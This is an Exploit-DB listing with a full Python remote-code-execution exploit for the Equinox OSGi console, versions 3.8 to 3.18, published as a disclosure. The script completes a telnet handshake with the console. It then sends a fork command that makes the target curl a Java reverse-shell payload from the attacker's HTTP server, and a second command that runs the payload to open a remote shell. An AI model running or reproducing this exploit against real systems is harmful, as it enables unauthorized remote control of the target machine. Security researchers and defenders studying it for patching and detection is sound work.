OSGi v3.8-3.18 Console - RCE

EDB-ID:
51878

CVE:
N/A

EDB Verified: ×

Author:
ANDRZEJ OLCHAWA, MILENKO STARCIK

Type:
WEBAPPS

Exploit: / {}

Platform:
MULTIPLE

Date:
2024-03-12

Vulnerable App:

```
#!/usr/bin/python

# Exploit Title: [OSGi v3.8-3.18 Console RCE]
# Date: [2023-07-28]
# Exploit Author: [Andrzej Olchawa, Milenko Starcik,
#                  VisionSpace Technologies GmbH]
# Exploit Repository:
#          [https://github.com/visionspacetec/offsec-osgi-exploits.git]
# Vendor Homepage: [https://eclipse.dev/equinox]
# Software Link: [https://archive.eclipse.org/equinox/]
# Version: [3.8 - 3.18]
# Tested on: [Linux kali 6.3.0-kali1-amd64]
# License: [MIT]
#
# Usage:
# python exploit.py --help
#
# Example:
# python exploit.py --rhost=192.168.0.133 --rport=1337 --
lhost=192.168.0.100 \
#                                                  --lport=4444

"""
This is an exploit that allows to open a reverse shell connection from
the system running OSGi v3.8-3.18 and earlier.
"""
import argparse
import socket
import sys
import threading

from functools import partial
from http.server import BaseHTTPRequestHandler, HTTPServer

# Stage 1 of the handshake message
HANDSHAKE_STAGE_1 = \
    b"\xff\xfd\x01\xff\xfd" \
    b"\x03\xff\xfb\x1f\xff" \
    b"\xfa\x1f\x00\x74\x00" \
    b"\x37\xff\xf0\xff\xfb" \
    b"\x18"

# Stage 2 of the handshake message
HANDSHAKE_STAGE_2 = \
    b"\xff\xfa\x18\x00\x58" \
    b"\x54\x45\x52\x4d\x2d" \
    b"\x32\x35\x36\x43\x4f" \
    b"\x4c\x4f\x52\xff\xf0"

# The buffer of this size is enough to handle the telnet handshake
BUFFER_SIZE = 2 * 1024


class HandlerClass(BaseHTTPRequestHandler):
    """
    This class overrides the BaseHTTPRequestHandler. It provides a specific
    functionality used to deliver a payload to the target host.
    """

    _lhost: str
    _lport: int

    def __init__(self, lhost, lport, *args, **kwargs):
        self._lhost = lhost
        self._lport = lport

        super().__init__(*args, **kwargs)
```

```
    def _set_response(self):
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()

    def do_GET(self):  # pylint: disable=C0103
        """
        This method is responsible for the playload delivery.
        """

        print("Delivering the payload...")

        self._set_response()
        self.wfile.write(generate_revshell_payload(
            self._lhost, self._lport).encode('utf-8'))

        raise KeyboardInterrupt

    def log_message(self, format, *args):  # pylint: disable=W0622
        """
        This method redefines a built-in method to suppress
        BaseHTTPRequestHandler log messages.
        """

        return


def generate_revshell_payload(lhost, lport):
    """
    This function generates the Revershe Shell payload that will
    be executed on the target host.
    """

    payload = \
        "import java.io.IOException;import java.io.InputStream;" \
        "import java.io.OutputStream;import java.net.Socket;" \
        "class RevShell {public static void main(String[] args) " \
        "throws Exception { String host=\"%s\";int port=%d;" \
        "String cmd=\"sh\";Process p=new ProcessBuilder(cmd)." \
        "redirectErrorStream(true).start();Socket s=new Socket(host,port);"
\
        "InputStream pi=p.getInputStream(),pe=p.getErrorStream(), " \
        "si=s.getInputStream();OutputStream po=p.getOutputStream()," \
        "so=s.getOutputStream();while(!s.isClosed()){while(pi.available()"
\

">0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());" \
        "while(si.available()>0)po.write(si.read());so.flush();po.flush();"
\
        "Thread.sleep(50);try {p.exitValue();break;}catch (Exception e)
{}};" \
        "p.destroy();s.close();}}\n" % (
            lhost, lport)

    return payload


def run_payload_delivery(lhost, lport):
    """
    This function is responsible for payload delivery.
    """

    print("Setting up the HTTP server for payload delivery...")

    handler_class = partial(HandlerClass, lhost, lport)

    server_address = ('', 80)
    httpd = HTTPServer(server_address, handler_class)
```

```
    httpd = HTTPServer((server_address), handler_class)

    try:
        print("[+] HTTP server is running.")

        httpd.serve_forever()
    except KeyboardInterrupt:
        print("[+] Payload delivered.")
    except Exception as err:  # pylint: disable=broad-except
        print("[-] Failed payload delivery!")
        print(err)
    finally:
        httpd.server_close()


def generate_stage_1(lhost):
    """
    This function generates the stage 1 of the payload.
    """

    stage_1 = b"fork \"curl http://%s -o ./RevShell.java\"\n" % (
        lhost.encode()
    )

    return stage_1


def generate_stage_2():
    """
    This function generates the stage 2 of the payload.
    """

    stage_2 = b"fork \"java ./RevShell.java\"\n"

    return stage_2


def establish_connection(rhost, rport):
    """
    This function creates a socket and establishes the connection
    to the target host.
    """

    print("[*] Connecting to OSGi Console...")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((rhost, rport))
    print("[+] Connected.")

    return sock


def process_handshake(sock):
    """
    This function process the handshake with the target host.
    """

    print("[*] Processing the handshake...")
    sock.recv(BUFFER_SIZE)
    sock.send(HANDSHAKE_STAGE_1)
    sock.recv(BUFFER_SIZE)
    sock.send(HANDSHAKE_STAGE_2)
    sock.recv(BUFFER_SIZE)
    sock.recv(BUFFER_SIZE)


def deliver_payload(sock, lhost):
    """
    This function executes the first stage of the exploitation.
    It triggers the payload delivery mechanism to the target host.
```

```
    """

    stage_1 = generate_stage_1(lhost)

    print("[*] Triggering the payload delivery...")
    sock.send(stage_1)
    sock.recv(BUFFER_SIZE)
    sock.recv(BUFFER_SIZE)


def execute_payload(sock):
    """
    This function executes the second stage of the exploitation.
    It sends payload which is responsible for code execution.
    """

    stage_2 = generate_stage_2()

    print("[*] Executing the payload...")
    sock.send(stage_2)
    sock.recv(BUFFER_SIZE)
    sock.recv(BUFFER_SIZE)
    print("[+] Payload executed.")


def exploit(args, thread):
    """
    This function sends the multistaged payload to the tareget host.
    """

    try:
        sock = establish_connection(args.rhost, args.rport)

        process_handshake(sock)
        deliver_payload(sock, args.lhost)

        # Join the thread running the HTTP server
        # and wait for payload delivery
        thread.join()

        execute_payload(sock)

        sock.close()

        print("[+] Done.")
    except socket.error as err:
        print("[-] Could not connect!")
        print(err)
        sys.exit()


def parse():
    """
    This fnction is used to parse and return command-line arguments.
    """

    parser = argparse.ArgumentParser(
        prog="OSGi-3.8-console-RCE",
        description="This tool will let you open a reverse shell from the "
                    "system that is running OSGi with the '-console' "
                    "option in versions between 3.8 and 3.18.",
        epilog="Happy Hacking! :)",
    )

    parser.add_argument("--rhost", dest="rhost",
                        help="remote host", type=str, required=True)
    parser.add_argument("--rport", dest="rport",
                        help="remote port", type=int, required=True)
    parser.add_argument("--lhost", dest="lhost",
```

```
                        help="local host", type=str, required=False)
    parser.add_argument("--lport", dest="lport",
                        help="local port", type=int, required=False)
    parser.add_argument("--version", action="version",
                        version="%(prog)s 0.1.0")

    return parser.parse_args()


def main(args):
    """
    Main fuction.
    """

    thread = threading.Thread(
        target=run_payload_delivery, args=(args.lhost, args.lport))
    thread.start()

    exploit(args, thread)


if __name__ == "__main__":
    main(parse())
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions